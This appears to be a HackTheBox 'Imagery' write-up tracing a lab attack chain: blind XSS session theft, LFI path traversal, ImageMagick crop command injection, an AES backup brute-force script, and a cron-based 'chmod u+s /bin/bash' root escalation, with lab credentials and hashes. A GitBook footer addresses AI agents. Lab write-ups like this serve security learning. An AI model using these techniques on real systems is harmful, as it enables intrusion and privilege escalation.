> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-imagery.md).
# HTB - Imagery
Difficulty: Medium Attack path: Blind XSS → Session Hijack → LFI → Source Disclosure → Command Injection → Reverse Shell → Encrypted Backup Cracking → Custom Sudo Binary Abuse -> root
## Enumeration and Foothold
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
Browsing to `http://10.129.242.164:8000` revealed **Imagery**, an image gallery web app with Login/Register functionality.
Registered a normal account and logged in, landing on a **Gallery** page and an **Upload** page:
but there is also another option which is shown in the footer section called report bug.
upon submitting a bug it results in admin in progress to review. which means we can try to steal Session cookie.
#### XSS
Submitted a bug report with an XSS payload designed to exfiltrate cookies to my listener
Set up a local listener to catch any outbound requests:
`python3 -m http.server 80`
Shortly after, the listener caught a hit from the target itself, carrying a `session` cookie:
This confirmed:
1. The payload executed in an admin/reviewer's browser session (blind XSS).
2. The application's session cookie was **not `HttpOnly`**, allowing JS to read and exfiltrate it.
I swapped my browser's `session` cookie for the stolen value via DevTools → Application → Cookies, refreshed, and gained access to a new **Admin Panel** link — full admin session hijack achieved.
once the session refreshed i can access the admin panel.
The Admin Panel listed users and offered a **"Download Log"** button per account.
Intercepting this request in Burp showed:
The `log_identifier` parameter looked like it was used to build a file path server-side. Testing path traversal:
#### Path Traversal / LFI
Returned the full contents of `/etc/passwd` — confirmed **LFI**.
Reading the environment variables provided useful information
```bash
LANG=en_US.UTF-8
PATH=/home/web/web/env/bin:/usr/bin
USER=web
LOGNAME=web
HOME=/home/web
SHELL=/bin/bash
INVOCATION_ID=a6449a54b10248a2a01af296bbc719d6
JOURNAL_STREAM=9:18498
SYSTEMD_EXEC_PID=1372
MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/flaskapp.service/memory.pressure
MEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=
CRON_BYPASS_TOKEN=K7Zg9vB$24NmW!q8xROp/runL!
```
This told me:
* The app runs as system user `web`.
* Its real source lives at `/home/web/web/`.
* There's a `CRON_BYPASS_TOKEN` environment variable — worth investigating.
```bash
[Service]
User=web
Group=web
WorkingDirectory=/home/web/web
Environment="CRON_BYPASS_TOKEN=K7Zg9vB$24NmW!q8xROp%tL!"
ExecStart=/home/web/web/env/bin/python app.py
```
**Pulled the full application source** via the LFI, one file at a time:
```
../../../../home/web/web/app.py
../../../../home/web/web/config.py
../../../../home/web/web/api_admin.py
../../../../home/web/web/api_edit.py
```
```bash
from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc
app_core = Flask(__name__)
app_core.secret_key = os.urandom(24).hex()
app_core.config['SESSION_COOKIE_HTTPONLY'] = False
app_core.register_blueprint(bp_auth)
app_core.register_blueprint(bp_upload)
app_core.register_blueprint(bp_manage)
app_core.register_blueprint(bp_edit)
app_core.register_blueprint(bp_admin)
app_core.register_blueprint(bp_misc)
@app_core.route('/')
def main_dashboard():
return render_template('index.html')
if __name__ == '__main__':
current_database_data = _load_data()
default_collections = ['My Images', 'Unsorted', 'Converted', 'Transformed']
existing_collection_names_in_database = {g['name'] for g in current_database_data.get('image_collections', [])}
for collection_to_add in default_collections:
if collection_to_add not in existing_collection_names_in_database:
current_database_data.setdefault('image_collections', []).append({'name': collection_to_add})
_save_data(current_database_data)
for user_entry in current_database_data.get('users', []):
user_log_file_path = os.path.join(SYSTEM_LOG_FOLDER, f"{user_entry['username']}.log")
if not os.path.exists(user_log_file_path):
with open(user_log_file_path, 'w') as f:
f.write(f"[{datetime.now().isoformat()}] Log file created for {user_entry['username']}.\n")
port = int(os.environ.get("PORT", 8000))
if port in BLOCKED_APP_PORTS:
print(f"Port {port} is blocked for security reasons. Please choose another port.")
sys.exit(1)
app_core.run(debug=False, host='0.0.0.0', port=port)
```
Key findings from source review:
* `config.py` revealed the true purpose of the token:
It's a header value that bypasses the account-lockout protection on login — useful for password-guessing without tripping the lockout, though not needed further since I already had admin access.
* `api_admin.py` confirmed the `get_system_log` route (the LFI source) and an **"impersonate testuser"** admin feature.
* The app's data file, `db.json` (path defined in `config.py` as `DATA_STORE_PATH`), was also pulled directly via the LFI:
the hash looks like an MD5 hash. i can use crackstation to crack the hash.
Reviewing `api_edit.py` uncovered a command injection bug in the `apply_visual_transform` endpoint, specifically in the **crop** transform type:
#### Command Injection
Reviewing `api_edit.py` uncovered a command injection bug in the `apply_visual_transform` endpoint, specifically in the **crop** transform type:
his is the vulnerability — a clean **OS command injection** in `apply_visual_transform`'s `crop` branch:
Everything about this is exploitable:
* `params` come straight from the JSON request body, unsanitized
* The string is built with an f-string and passed to `subprocess.run(..., shell=True)` — meaning whatever you put in `x`, `y`, `width`, or `height` gets interpreted by the shell
* Every *other* transform type (`rotate`, `saturation`, `brightness`, `contrast`) uses the safe list-form of `subprocess.run` (no `shell=True`) — only `crop` has this flaw, likely an intentional bug for this box
**Access requirement:** this route requires `session.get('is_testuser_account')` to be true — meaning you need to be logged in *as* `testuser@imagery.htb`, not admin. You already cracked that password: `iambatman`.
since i already got creds as test user i can use it to login and try to exploit the feature.
now upload any valid image.
Click "Transform Image" and intercept the request in Burp.
The injection point is width in the crop geometry — since the vulnerable code does:
```powershell
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
```
Command injection successful that said i can use it for getting shell access
## Shell as Web
```powershell
web@Imagery:~/web$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
web@Imagery:~/web$ export TERM=xterm
export TERM=xterm
web@Imagery:~/web$
```
Enumeration turned up an encrypted backup file:
```powershell
web@Imagery:/var/backup$ ls ls
ls
web_20250806_120723.zip.aes
web@Imagery:/var/backup$
```
i can transfer the file to attack machine and decrypt the file.
A quick header check confirmed the real format:
```powershell
(ajay㉿kali)-[~]
└─$ xxd web_20250806_120723.zip.aes | head -1
00000000: 4145 5302 0000 1b43 5245 4154 4544 5f42 AES....CREATED_B
```
The `AES` magic bytes confirmed this was **AES Crypt** format (not raw OpenSSL `enc`), so I used **pyAesCrypt** to attempt decryption, trying known passwords first and falling back to a wordlist:
```bash
import pyAesCrypt
with open("/usr/share/wordlists/rockyou.txt", "r", encoding="latin-1") as f:
for line in f:
pw = line.strip()
try:
pyAesCrypt.decryptFile("web_20250806_120723.zip.aes", "web_decrypted.zip", pw)
print(f"SUCCESS: {pw}")
break
except ValueError:
continue
```
Unzipping the backup revealed SSH credentials/keys for `mark`, giving a foothold as that user:
```powershell
┌──(ajay㉿kali)-[~/web_backup/web]
└─$ cat db.json
{
"users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
"displayId": "f8p10uw0",
"isTestuser": false,
"isAdmin": true,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"displayId": "8utz23o5",
"isTestuser": true,
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "mark@imagery.htb",
"password": "01c3d2e5bdaf6134cec0a367cf53e535",
"displayId": "868facaf",
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
},
{
"username": "web@imagery.htb",
"password": "84e3c804cf1fa14306f26f9f3da177e0",
"displayId": "7be291d4",
"isAdmin": true,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
}
],
"images": [],
"bug_reports": [],
"image_collections": [
{
"name": "My Images"
},
{
"name": "Unsorted"
},
{
"name": "Converted"
},
{
"name": "Transformed"
}
]
}
┌──(ajay㉿kali)-[~/web_backup/web]
```
`mark : supersmash`
## Shell as Mark
### Abusing a Custom Sudo Binary (charcol)
`charcol` turned out to be a custom-built "backup suite" CLI tool ("Charcol The Backup Suit — Development edition 1.0.0") with an interactive shell mode, gated by a master passphrase I didn't have.
```powershell
mark@Imagery:~$ sudo /usr/local/bin/charsudo /usr/local/bin/charcol help
sudo /usr/local/bin/charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...
Charcol: A CLI tool to create encrypted backup zip files.
positional arguments:
{shell,help} Available commands
shell Enter an interactive Charcol shell.
help Show help message for Charcol or a specific command.
options:
--quiet Suppress all informational output, showing only
warnings and errors.
-R, --reset-password-to-default
Reset application password to default (requires system
password verification).
mark@Imagery:~$
```
**Bypassed the passphrase using the tool's own reset flag**, which instead verifies the real Linux system password:
```powershell
mark@Imagery:~$ sudo /usr/local/bin/csudo /usr/local/bin/charcol -R
sudo /usr/local/bin/charcol -R
Attempting to reset Charcol application password to default.
[2026-08-04 22:07:27] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
supersmash
[2026-08-04 22:07:39] [INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.
mark@Imagery:~$
```
```powershell
mark@Imagery:~$ sudo /usr/local/bin/charsudo /usr/local/bin/charcol shell
sudo /usr/local/bin/charcol shell
First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode:
Are you sure you want to use 'no password' mode? (yes/no): yes
yes
[2026-08-04 22:08:40] [INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.
mark@Imagery:~$
```
Re-launched, chose "no password" mode, and entered the interactive shell running as **root** (since it was invoked via `sudo`):
## Shell as Root
Since the whole tool runs as root, any command registered here executes as root once the cron job fires.
```powershell
charcol> auto add --schedule "* * * * *" --command "chmod u+s /bin/bash" --name "sync"
auto add --schedule "* * * * *" --command "chmod u+s /bin/bash" --name "sync"
[2026-08-04 22:11:52] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
supersmash
[2026-08-04 22:12:04] [INFO] System password verified successfully.
[2026-08-04 22:12:04] [INFO] Auto job 'sync' (ID: c75d882f-0104-4ea0-8181-3f42079df10c) added successfully. The job will run according to schedule.
[2026-08-04 22:12:04] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true chmod u+s /bin/bash
charcol>
```
Waited \~60 seconds for the minutely cron job to run, then exited the Charcol shell and checked:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-imagery.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
